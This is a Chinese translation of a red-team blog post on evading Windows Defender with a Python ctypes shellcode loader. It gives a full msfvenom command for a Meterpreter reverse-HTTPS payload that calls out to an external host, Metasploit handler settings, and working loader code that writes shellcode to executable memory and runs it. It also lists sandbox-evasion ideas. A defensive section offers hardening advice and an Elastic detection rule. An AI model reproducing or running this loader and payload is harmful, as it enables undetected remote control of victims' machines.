【翻译】Evading Defender With Python And Meterpreter Shellcode Part 1
1. 引言与背景
这是系列博客的第一篇,我们将开发并改进一个 Python shellcode 加载器。我们将探讨针对它的可能防御措施以及绕过这些防御的方法。
复杂的 Shellcode 执行方法并非总是必要
近年来,从任何主要的开源 C2 框架运行 shellcode 变得越来越困难。AV(反病毒软件)和 EDR(终端检测与响应)系统比 10 年前先进得多,其能力已超越固定的特征码检测,基于行为的启发式检测现在起着主要作用。作为一名红队顾问,在日常工作中,我经常面对不同技能水平、检测能力和基础设施的蓝队,因此为了运行我所需的工具,创造性的绕过防御解决方案是必不可少的。
C 语言是我在恶意软件和攻击工具开发中的首选语言,但我也是一名"懒惰"的黑客。像 early-cascade-injection 或 threadless-injection 这样的高级规避技术虽然很有用,但在面对蓝队不成熟或没有适当 EDR 的客户时,通常并不需要。
同样重要的是,尽管进行了彻底的测试并实施了规避技术,仍然存在触发警报的风险。一个有动力的蓝队成员逆向分析你的植入程序,可能会使数小时的开发工作付诸东流。有时,使用"更便宜"的工具反而更好,只要它们能完成任务。
本文范围
在这篇博客中,我将解释一种简单的技术,用于运行 meterpreter shellcode 同时绕过 Windows Defender 和其他 AV。我们将探讨防御者如何设置针对此类攻击的检测,并探索可能的缓解措施。
本文不会涉及将恶意软件投递到终端的技术、C2 框架的基础知识、shellcode 或一般的红队方法论。
那么这篇博客适合谁阅读呢?适合希望扩展基本 AV 规避和 C2 框架使用知识的信息安全初学者和爱好者。也适合试图提高攻击知识以开发更好检测用例的防御者,或者为下一个客户项目寻找灵感的信息安全专业人士。
2. 有效载荷开发、执行与规避
Meterpreter Shellcode 生成为 Python 缓冲区
Meterpreter shellcode 的创建如下,主要使用默认设置。LURI
和 HTTPUSERAGENT
被指定以通过我的 redirector 并到达 Metasploit 的 multi/handler。
msfvenom -p windows/x64/meterpreter_reverse_https
LHOST=example.com
LPORT=443
LURI=/api/v1/data/
HTTPUSERAGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.3240.76"
-f python
-f python
参数将 shellcode 生成为 Python 的十六进制字符串。如果我们需要在 C 语言中使用该 shellcode,只需将其改为 -f C
即可。
我们配置了一个监听器,它不会自动加载 stdapi,也不会在启动时执行 sysinfo 命令。这有助于降低 shellcode 在执行时被检测到的可能性。
use multi/handler
set payload windows/x64/meterpreter_reverse_http
set luri /api/v1/data/
set lhost 0.0.0.0
set autoloadstdapi false
set autosysteminfo false
set exitonsession false
run -j
寻找简单的 Shellcode 加载器作为起点
在开始这个项目时,我想使用我能找到的最简单的 shellcode 加载器。不需要任何特殊功能,只需在当前进程中分配内存,将 shellcode 写入分配的内存并执行即可。通过快速搜索,我找到了这个11 年前编写的加载器代码,非常适合作为起点。
初始测试触发了检测
我使用 rundll32.exe 将基本加载器编译为 DLL 并执行,其中包含未修改的 meterpreter shellcode。正如预期的那样,Windows Defender 立即标记并阻止了执行。这证实了在将 shellcode 用于红队行动之前,需要进行规避改进的必要性。
Python 为 Shellcode 提供了绕过 AV 的方法
到 2025 年,大多数在 Windows 上执行 shellcode 的知名方法都已被广泛签名和检测。在寻找绕过这些检测的简单方法时,许多恶意软件开发者转向了一种称为 BYOE(Bring-your-own-environment,自带环境)的技术。基本思路是引入检测引擎不熟悉或只有有限可见性的环境。例子包括 Qemu、NodeJS 甚至 Matlab。我选择了 Python,因为我对编写 Python 代码感到得心应手,并且希望快速获得结果。
我将在 Github 上找到的加载器代码借助 ChatGPT 的帮助翻译成了 Python。ctypes 库允许我们像使用 C 语言一样与相同的 Win32 API 端点进行交互。
翻译后的 Python 代码
import ctypes
import threading
from ctypes import wintypes
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
buf = b""
buf += b"x4dx5ax41x52x55x48x89xe5x48x83xecx20"
[...]
buf += b"x00x00x00x00x00x00x00x00x00x00x00x00"
buf += b"x00x00x00x00x00x00x00x00x00x00x00x00"
buf += b"x00x00x00x00x00x00x00x00x00x00x00x00"
buf += b"xffxffxffxff"
# Define functions from kernerl32.dll
kernel32 = ctypes.windll.kernel32
kernel32.GetCurrentProcess.restype = wintypes.HANDLE
kernel32.VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.DWORD]
kernel32.VirtualAllocEx.restype = wintypes.LPVOID
kernel32.WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
kernel32.WriteProcessMemory.restype = wintypes.BOOL
def ThreadFunction(lpParameter):
current_process = kernel32.GetCurrentProcess()
# Allocate memory with `VirtualAllocEx`
sc_memory = kernel32.VirtualAllocEx(current_process, None, len(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
bytes_written = ctypes.c_size_t(0)
# Copy raw shellcode with `WriteProcessMemory`
kernel32.WriteProcessMemory(current_process, sc_memory,ctypes.c_char_p(buf),len(buf),ctypes.byref(bytes_written))
# Execute shellcode in memory by casting the address to a function pointer with `CFUNCTYPE`
shell_func = ctypes.CFUNCTYPE(None)(sc_memory)
shell_func()
return 1
def Run():
thread = threading.Thread(target=ThreadFunction, args=(None,))
thread.start()
if __name__ == "__main__":
Run()
将之前生成的 shellcode 以十六进制字符串形式嵌入加载器代码后,我将文件上传到 VirusTotal 进行检测,结果出乎意料地完全干净。需要明确的是,我通常不会也不建议将 payload 上传到 VirusTotal,因为这样做会使样本可被安全分析师下载并生成检测规则。
我执行了加载器,立即在后端获得了 meterpreter 会话。尽管执行的是相同的 shellcode,但之前遇到的警报消失了。
演示:执行加载器并在新建立的 meterpreter 会话中运行命令
检测结果比预期更好
我使用 py2exe 将 Python 加载器打包成可执行文件,并进行了快速测试。我混合使用了免费杀毒软件和一个 EDR 产品。 对于每个安全解决方案,我分别测试了通过 python.exe 执行的原始 loader.py 和使用 py2exe 生成的打包版 loader.exe。 结果令人惊讶:8 个工具中只有 1 个完全阻止了加载器的运行。Bitdefender 是唯一完全阻止它的产品。其他产品要么完全漏报,要么只阻止了可执行文件。
这出乎意料。基于加载器的工作原理以及 py2exe 会在二进制文件中留下许多痕迹的事实,我预期结果会更糟,.exe 版本应该会被完全检测到(全部红色),而通过 python.exe 运行 loader.py 至少应该被部分检测到。
3. 限制、检测与防御考虑
该方法存在一些注意事项
-
Python 在大多数 Windows 系统上默认未安装。这意味着在执行前需要下载或投放 Python。虽然可以使用 WSH、PowerShell 或其他 lolbins 工具来完成,但这会增加感染链的复杂性并提高被检测的几率。 -
Python 代码易于逆向工程。作为解释型语言,Python 脚本对防御者来说是透明且可读的。不过,有一些技术可以混淆字符串、打包脚本、加密或将其打包为独立可执行文件。 -
使用正确配置的 EDR 可以轻松检测到该方法。现代安全解决方案可以监控 API 调用、内存权限和 Python 行为。这种方法可能绕过基本的 Defender 配置,但不太可能绕过调校良好的 EDR 环境。 -
Shellcode 在当前进程(python.exe)中执行。从 OPSEC 的角度来看,这并不理想。任何针对 Python 的监控都会捕获异常的内存活动或库加载,使得该加载器更适合短期或一次性访问。
预防此类攻击是可能的,但需要一些手动调整
策略建议
自带环境(BYOE)技术可能在安全性较差的环境中奏效,但它们依赖于可以通过基本加固来阻止的弱点。以下策略可以帮助预防或破坏其使用:
-
正确配置的 EDR 会检测到该技术。即使是基本的通过 Python 进行的内存执行,也可以基于可疑的 API 使用、内存权限或 python.exe
的行为被标记。 -
应用程序白名单非常有效。Windows Defender 应用程序控制(WDAC)等解决方案可以阻止未知或未经授权的二进制文件(包括 Python 等解释器)执行。如果环境中尚未部署 Python,这尤其有用。 -
如果不需要,考虑禁用 Windows 应用商店。这限制了攻击者通过合法但不必要的渠道安装 Python 等软件的能力,减少了 BYOE 式执行的可用攻击面。
检测:在 Elastic EDR 中实现基本用例
注意: 许多 EDR 已经预装以下或部分用例。
在 Elastic EDR 的默认配置中,由于未摄入 ETW 和 Sysmon 数据,选项有限。然而,通过创造性的方法,仍然可以创建一个低误报率的可靠检测规则来检测该加载器。
(
process.executable.text : "\users"
or
process.executable.text: "\windows\temp"
) and
dll.name: "_ctypes.pyd"
该规则检查从用户可写路径运行并加载 _ctypes.pyd 库的可执行文件。由于文件名容易被更改,因此未将其包含在条件中。对 Python 二进制文件(由“Python Software Foundation”签名)进行签名检查可能有用,但会排除使用 py2exe 或 PyInstaller 创建的二进制文件。
该规则成功检测到了加载器的两种形式:作为编译后的可执行文件和作为通过 python.exe 执行的脚本。Elastic SIEM 为这两种情况都生成了告警。
仍有改进空间。Shellcode 可能会触发 DNS 解析或网络活动等额外行为,这些可用于进一步优化检测。目前,该规则提供了一个良好的起点。
4. 未来工作与结论
主要改进方向是 shellcode 的交付方式和执行技术
该加载器在许多方面远非完美或隐蔽。让我们思考可以且应该改进的地方。一些想法:该加载器虽然有效,但远未达到隐蔽或生产就绪的水平。为了使其在现实场景中更有效,我们需要开始像防御者一样思考,并致力于改进规避和灵活性。以下是我们将在下一篇博客文章中尝试探索的几个想法:
-
加密 shellcode 并在内存中解密。避免使用可以轻易从磁盘提取的硬编码原始 shellcode -
混淆或加密加载器本身。多阶段方法可以帮助隐藏 shellcode 执行能力,避免静态分析或逆向工程 -
在运行时获取 shellcode。从远程源加载有效载荷可以避免在加载器中直接嵌入任何可疑内容。这也有助于保持较低的文件熵 -
实现基本的防护措施以规避自动化沙箱检测 -
使用机器名或用户名作为 shellcode 解密的密钥 -
设置特定触发日期以延迟执行并避免沙箱超时 -
检查系统是否加入域,沙箱通常不会 -
访问 evasions.checkpoint.com 获取更多沙箱绕过思路 -
采用更隐蔽的执行技术。考虑将 shellcode 注入远程进程,而不是在 python.exe
中运行,以减少检测痕迹 -
仔细评估打包选项。将加载器打包成可执行文件(例如使用 py2exe
或PyInstaller
)可能会简化部署,但这些工具历史上会触发告警
结论与未来方向
虽然相同的执行技术在 C 语言实现时会触发告警,但在 Python 中使用 ctypes 库运行时却绕过了检测。即使在 2025 年,构建能够绕过 Windows Defender 和其他免费杀毒软件的 shellcode 加载器和其他攻击工具仍然相对容易。
在我测试的所有解决方案中,只有 Bitdefender 检测并阻止了该加载器。很可能有许多非免费的 EDR 通过挂钩正确的 API 调用或检查正确的内核回调来检测此行为,但这些未在此测试。
在防御方面,我们为 Elastic EDR 开发了一个自定义检测规则,该规则之前未能检测到该行为,并找到了一种可靠的方法来捕获这种行为,证明即使开源工具在适当调整后也能跟上 BYOE 技术。
在下一篇文章中,我们将尝试实现上述部分改进,看看能在多大程度上改进加载器。
干杯 🫡
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
原文始发于微信公众号(securitainment):Python+Meterpreter Shellcode:轻松绕过 Defender(第一部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论